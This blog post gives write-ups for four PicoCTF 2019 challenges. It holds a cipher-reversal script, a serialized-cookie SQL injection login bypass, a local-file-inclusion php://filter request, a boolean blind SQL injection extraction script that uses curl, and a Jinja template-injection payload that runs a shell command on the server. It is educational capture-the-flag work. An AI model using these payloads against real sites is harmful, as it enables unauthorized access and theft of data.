Search This Blog

Friday, October 11, 2019

Some PicoCTF 2019 Crypto and Web Writeups (AES-ABC, Cereal 1 & 2, Empire 3)

This post just has some writeups for interesting problems I found in both cryptography and web exploitation categories.

AES ABC

Basically, the gist of this problem was that ABC summed up the data created in an ECB encrypted image (which is really insecure as original data can still be distinguished due to the nature of ECB!)

def aes_abc_encrypt(pt):
    cipher = AES.new(KEY, AES.MODE_ECB)
    ct = cipher.encrypt(pad(pt))

    blocks = [ct[i * BLOCK_SIZE:(i+1) * BLOCK_SIZE] for i in range(len(ct) / BLOCK_SIZE)]
    iv = os.urandom(16)
    blocks.insert(0, iv)
 
    for i in range(len(blocks) - 1):
        prev_blk = int(blocks[i].encode('hex'), 16)
        curr_blk = int(blocks[i+1].encode('hex'), 16)

        n_curr_blk = (prev_blk + curr_blk) % UMAX
        blocks[i+1] = to_bytes(n_curr_blk)

    ct_abc = "".join(blocks)

    return iv, ct_abc, ct
So if we just reverse that operation (padding and the IV won't even matter... they will just mess up some pixels), we should be able to distinguish the original image.  Here was my final script to reverse the operations on the image.
from Crypto.Cipher import AES
#from key import KEY
import os
import math

'''
(n + x) mod m = b
reversed is
x = (b - n) mod m
'''

BLOCK_SIZE = 16
UMAX = int(math.pow(256, BLOCK_SIZE))


def to_bytes(n):
    s = hex(n)
    s_n = s[2:]
    if 'L' in s_n:
        s_n = s_n.replace('L', '')
    if len(s_n) % 2 != 0:
        s_n = '0' + s_n
    decoded = s_n.decode('hex')

    pad = (len(decoded) % BLOCK_SIZE)
    if pad != 0:
        decoded = "\0" * (BLOCK_SIZE - pad) + decoded
    return decoded


def remove_line(s):
    # returns the header line, and the rest of the file
    return s[:s.index('\n') + 1], s[s.index('\n')+1:]


def parse_header_ppm(f):
    data = f.read()

    header = ""

    for i in range(3):
        header_i, data = remove_line(data)
        header += header_i

    return header, data

def pad(pt):
    padding = BLOCK_SIZE - len(pt) % BLOCK_SIZE
    return pt + (chr(padding) * padding)  # would padding really matter, it's ecb anyways so we should be able to see image

def aes_abc_encrypt(pt):
    cipher = AES.new(KEY, AES.MODE_ECB)
    ct = cipher.encrypt(pad(pt)) #encrypts image with ECB

    blocks = [ct[i * BLOCK_SIZE:(i+1) * BLOCK_SIZE] for i in range(len(ct) / BLOCK_SIZE)]
    '''
    for i in range(len(ct) / BLOCK_SIZE):
        blocks[i] = ct[(i * BLOCK_SIZE):(i+1) * BLOCK_SIZE] //sets blocks accordingly to ecb
    '''
    iv = os.urandom(16)
    blocks.insert(0, iv) #inserts iv in front
 
    for i in range(len(blocks) - 1):
        prev_blk = int(blocks[i].encode('hex'), 16)
        curr_blk = int(blocks[i+1].encode('hex'), 16)

        n_curr_blk = (prev_blk + curr_blk) % UMAX
        blocks[i+1] = to_bytes(n_curr_blk)

    ct_abc = "".join(blocks)

    return iv, ct_abc, ct

def aes_abc_decrypt(ct):
    blocks = [ct[i * BLOCK_SIZE:(i+1) * BLOCK_SIZE] for i in range(len(ct) / BLOCK_SIZE)]
    blocks = blocks[1:] #strip iv
    #reverse operations
    for i in range(len(blocks)-1, 1, -1):
        prev_blk = int(blocks[i-1].encode('hex'), 16)
        curr_blk = int(blocks[i].encode('hex'), 16)
n_curr_blk = (curr_blk-prev_blk)%UMAX
blocks[i] = to_bytes(n_curr_blk)
    return ''.join(blocks)


if __name__=="__main__":
    with open('body.enc.ppm', 'rb') as f:
        header, data = parse_header_ppm(f)
        data = aes_abc_decrypt(data)
    #iv, c_img, ct = aes_abc_encrypt(data)

    with open('decrypt.ppm', 'wb') as fw:
        fw.write(header) #header still writen back to new file
        fw.write(data)

This was considered one of the harder crypto challenges this year... picoCTF 2019 crypto really was easier than 2018's.

Cereal 1

This web challenge took me a while to figure out.  I knew it had something to do with serialization from the name "cereal."  I also guessed a login as guest:guest.  Lastly, there was an admin page and a regular user page on the website.  Playing around, I found a sqli in the cookie (the structure of it can be decoded via base64 decode and url decode).  Here was the final php script used to generate the malicious sqli cookie.

<?php class permissions
{
        public $username = "guest";
        public $password = "guest";
}

$payload = new Permissions();
$payload->username = "admin";
$payload->password = "test'or'1=1";
echo urlencode(base64_encode(serialize($payload)));
echo "\n";
?>

Then, you will get the flag.

Cereal 2
Credentials no longer work anymore.  Playing around, I realized that we can LFI the webpage by simply changing the file it requests.  In order to reveal the original PHP source, I used the filter base64 decode method from pentesting cheatsheets to LFI (?file=php://filter/convert.base64-encode/resource=page.php).  From the pages such as index.php and admin.php, we end up finding a connection to cookies.php, which has the following code

<?php

require_once('../sql_connect.php');

// I got tired of my php sessions expiring, so I just put all my useful information in a serialized cookie
class permissions
{
public $username;
public $password;

function __construct($u, $p){
$this->username = $u;
$this->password = $p;
}

function is_admin(){
global $sql_conn;
if($sql_conn->connect_errno){
die('Could not connect');
}
//$q = 'SELECT admin FROM pico_ch2.users WHERE username = \''.$this->username.'\' AND (password = \''.$this->password.'\');';

if (!($prepared = $sql_conn->prepare("SELECT admin FROM pico_ch2.users WHERE username = ? AND password = ?;"))) {
    die("SQL error");
}

$prepared->bind_param('ss', $this->username, $this->password);

if (!$prepared->execute()) {
    die("SQL error");
}

if (!($result = $prepared->get_result())) {
    die("SQL error");
}

$r = $result->fetch_all();
if($result->num_rows !== 1){
$is_admin_val = 0;
}
else{
$is_admin_val = (int)$r[0][0];
}

$sql_conn->close();
return $is_admin_val;
}
}
#prepared statements above aren't vulnerable
/* legacy login */
class siteuser
{
public $username;
public $password;

function __construct($u, $p){
$this->username = $u;
$this->password = $p;
}

function is_admin(){
global $sql_conn;
if($sql_conn->connect_errno){
die('Could not connect');
}
$q = 'SELECT admin FROM pico_ch2.users WHERE admin = 1 AND username = \''.$this->username.'\' AND (password = \''.$this->password.'\');';

$result = $sql_conn->query($q);
if($result->num_rows != 1){
$is_user_val = 0;
}
else{
$is_user_val = 1;
}

$sql_conn->close();
return $is_user_val;
}
}


if(isset($_COOKIE['user_info'])){
try{
$perm = unserialize(base64_decode(urldecode($_COOKIE['user_info'])));
}
catch(Exception $except){
die('Deserialization error.');
}
}

?>

Once again, we can do sqli by making it deserialize the legacy version (which still exists).  Playing around with my previous script from cereal 1, I determined that an injection in which we guess the character of the password one by one can be done; this is a classic boolean injection attack.
Using my "like" method, there was an issue with the first few characters, but with some fiddling, I figured it had to start with picoCTF.  Afterwards, it worked fine.

<?php class siteuser
{
        public $username = "guest";
        public $password = "guest";
}

#boolean sqli
$charset = "0123456789abcdefghijklmnopqrstuvwxyz{}";
$flag = "picoCTF";
for($i = 0; $i < strlen($charset); $i++)
{
$sqli = "blahblahthisnamedoesntexist' union select admin from pico_ch2.users where password like '".$flag.$charset[$i]."%'-- ";
$payload = new siteuser();
$payload->username = $sqli;
$result = request("user_info=".urlencode(base64_encode(serialize($payload))));
if ($result)
{
$flag = $flag.$charset[$i];
echo $flag."\n";
if ($charset[$i] !== "}")
{
$i=0;
}
}
}

function request($payload)
{
$exploit = curl_init();
curl_setopt($exploit, CURLOPT_URL,"http://2019shell1.picoctf.com:62195/index.php?file=admin");
curl_setopt($exploit, CURLOPT_COOKIE, $payload);
curl_setopt($exploit, CURLOPT_COOKIESESSION, 1);
curl_setopt($exploit, CURLOPT_RETURNTRANSFER, true);
curl_setopt($exploit, CURLOPT_HEADER, true);
$output = curl_exec($exploit);
curl_close ($exploit);
if (strstr($output, "You are not admin!"))
{
return false;
}
else
{
return true;
}
}
?>



There also is an unintended solution where you can use the sql creds you find in sql_connect.php to connect to the database and just grab the flag there.

Empire 3
An easy SSTI injection, just like Flaskcards and Freedom from 2018.  My final payload is the following (I targeted warnings catch warnings):
{{ ''.__class__.__mro__[1].__subclasses__()[157].__init__.__globals__.__builtins__.eval("__import__('os').popen('grep -R .').read()") }}

No comments:

Post a Comment